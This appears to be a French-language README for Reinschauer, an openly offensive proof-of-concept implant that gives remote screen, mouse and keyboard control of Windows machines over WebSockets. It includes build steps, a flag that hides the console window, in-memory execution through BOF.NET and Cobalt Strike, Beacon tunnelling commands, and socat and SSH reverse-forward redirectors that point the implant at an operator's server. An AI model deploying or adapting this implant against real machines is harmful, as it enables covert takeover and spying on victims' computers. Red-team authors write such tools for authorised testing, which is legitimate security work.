Reinschauer

Un PoC pour contrôler à distance des machines Windows via Websockets. Consultez mon blog pour un writeup.

• Peut être exécuté en tant qu'exécutable Go, exécutable .NET/C# et en mémoire via BOF.NET et Cobaltstrike.

• Le trafic peut être tunnelisé via une connexion Beacon interactive.
• Contrairement à la plupart des implémentations HVNC, reinschauer convertit les bitmaps bruts en JPEG et compresse les données résultantes avant de les envoyer sur le réseau afin de réduire la taille des frames.
• Les réglages de FPS et de qualité peuvent être modifiés dynamiquement via l'interface graphique. Ceux-ci affectent l'implant, de sorte que le trafic réseau est réduit. La mise à l'échelle dynamique permet d'utiliser cet outil comme implant pour les machines avec de grands écrans.

• Les contrôles de base de la souris et du clavier sont possibles.
• Vous pouvez utiliser le script dans le dossier server pour générer des fichiers TLS serveur ou fournir les vôtres.
• La fenêtre du serveur peut être redimensionnée librement, tandis que les événements de clic devraient™ être traduits vers le pixel correct sur la machine cible.
• Utilisez reinschauer-server -h pour les options disponibles.

Protocole

+----------------------------------------------------------------------------------------+
|                                                                                        |
|                                                                                        |
|                  +----------------------------------------------------+                |
|                  |#1: Type (Binary or Text)                           |                |
|                  |    Binary: JPG Frame                               |                |
|                  |                                                    |                |
|                  |#2: Text                                            |                |
|                  |    ELO (Ping)                                      |                |
|                  |    FPS <FPS Count>                                 |                |
|                  |    SCL <Scaler Count>                              |                |
|                  |    QUL <JPG Quality>                               |                |
|                  |    LCL X Y (Left Click + Coordinates)              |                |
|                  |    RCL X Y                                         |                |
|                  |    KEY <Char>                                      |      xxxxxx    |
|       xxxxx   <--+----------------------------------------------------+--> xxxx   xx   |
|       x   xx                     Websockets via TLS                        xx       x  |
| x     xxxxxx                                                                xxxxxxxxx  |
| xxx     x   xx                                                          xx    x        |
|     xxxxxxxx                                                              xxxxx xxxxxx |
|         x                                                                   xxxxx      |
|         xx                                                                   xx        |
|         x xx                                                                 xxx       |
|        xx  xx                                                                x xx      |
|        x    xx                                                              xx  xxx    |
|       x      xx                                                             x     xx   |
|       x       x                                                            xx      x   |
+----------------------------------------------------------------------------------------+

FAQ

Comment compiler ?

• Installez une nouvelle version de golang, >=1.18
• Pour les distributions basées sur debian : sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev

$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build

J'ai inclus une version pré-compilée et autonome de la variante dotnet dans ce dépôt. Si vous voulez la compiler vous-même, utilisez le fichier projet Visual Studio pour compiler la variante Release x64. Si cela ne se fait pas automatiquement, téléchargez les packages NuGet requis pour le projet via Visual Studio. Votre système cible n'a probablement pas non plus ces packages installés et des DLL peuvent donc manquer lors de l'exécution de l'exécutable résultant sur la cible. Pour contourner ce problème, ce projet invoque automatiquement ILMerge.exe pour regrouper l'exécutable résultant avec les bibliothèques requises. Par conséquent, utilisez le fichier généré appelé reinschauer-dotnet-standalone.exe sur les cibles.

Vous devrez peut-être faire un go get au préalable. Utilisez -ldflags -H=windowsgui pour désactiver la fenêtre console.

Qui est le client / le serveur ?

Le client est exécuté sur la machine cible (Windows). Le composant server est exécuté sur la machine du testeur (Linux). Il écoute sur 0.0.0.0:6969 par défaut. Les clients Golang et C# sont tous deux compatibles avec le serveur.

Est-ce un HVNC / Bureau caché ?

Non. Il utilise le même Bureau que l'utilisateur.

Certaines touches et combinaisons de touches ne fonctionnent pas, merci de corriger

Je sais que |, @ et § peuvent ne pas fonctionner actuellement, du moins sur mon clavier allemand pourri. Merci de corriger.

Le client utilise trop de temps CPU

Utiliser une valeur de FPS plus faible peut fonctionner.

Je n'ai pas de connexion directe entre le client et le server

Vous pouvez utiliser un Beacon CobaltStrike pour tunneliser le trafic.

Je n'ai pas Cobaltstrike !

Utilisez un redirecteur socat comme :

socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>

et lancez le client avec les paramètres requis ou codez-les en dur.

Remarques concernant l'utilisation de BOF.NET et Cobaltstrike

Tout d'abord, configurez BOF.NET conformément au manuel. Ensuite, chargez l'exécutable autonome avec bofnet_load <Chemin vers l'exe>. Ensuite, décidez comment utiliser Reinschauer :

1. Vous pouvez tunneliser le trafic via une connexion Beacon active.
2. Vous pouvez envoyer le trafic vers n'importe quel autre serveur accessible sur Internet.

Tunnelisation du trafic via Beacon

• Passez la session en mode interactif : sleep 0.
• Configurez la redirection de port distante : rportfwd_local 6969 127.0.0.1 6969.
• Exécutez Reinschauer en arrière-plan : bofnet_job reinschauer_dotnet.BofStuff. Cela fait automatiquement que Reinschauer se connecte à 127.0.0.1:6969 sur 127.0.0.1 de la machine cible. Cela désactive également TLS, car il utilise de toute façon la connexion Beacon.
• Pour tuer Reinschauer, utilisez bofnet_jobkill <Job ID>.

Envoi du trafic vers un autre serveur

• Exécutez Reinschauer en arrière-plan : bofnet_job reinschauer_dotnet.BofStuff <IP du serveur> <Port du serveur> true. Le paramètre booléen active l'utilisation de TLS.
• Pour tuer Reinschauer, utilisez bofnet_jobkill <Job ID>.

Ensuite, utilisez SSH et la fonctionnalité GatewayPorts : ajoutez GatewayPorts: clientspecified à sshd_config et redémarrez le serveur SSH. Puis, ssh -R '0.0.0.0:8080:localhost:6969'' [...] rendra votre port local 6969 disponible sur 0.0.0.0:8080. Soyez prudent :)

Ou, configurez un redirecteur socat sur le serveur :

socat TCP4-LISTEN:<Port du serveur>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>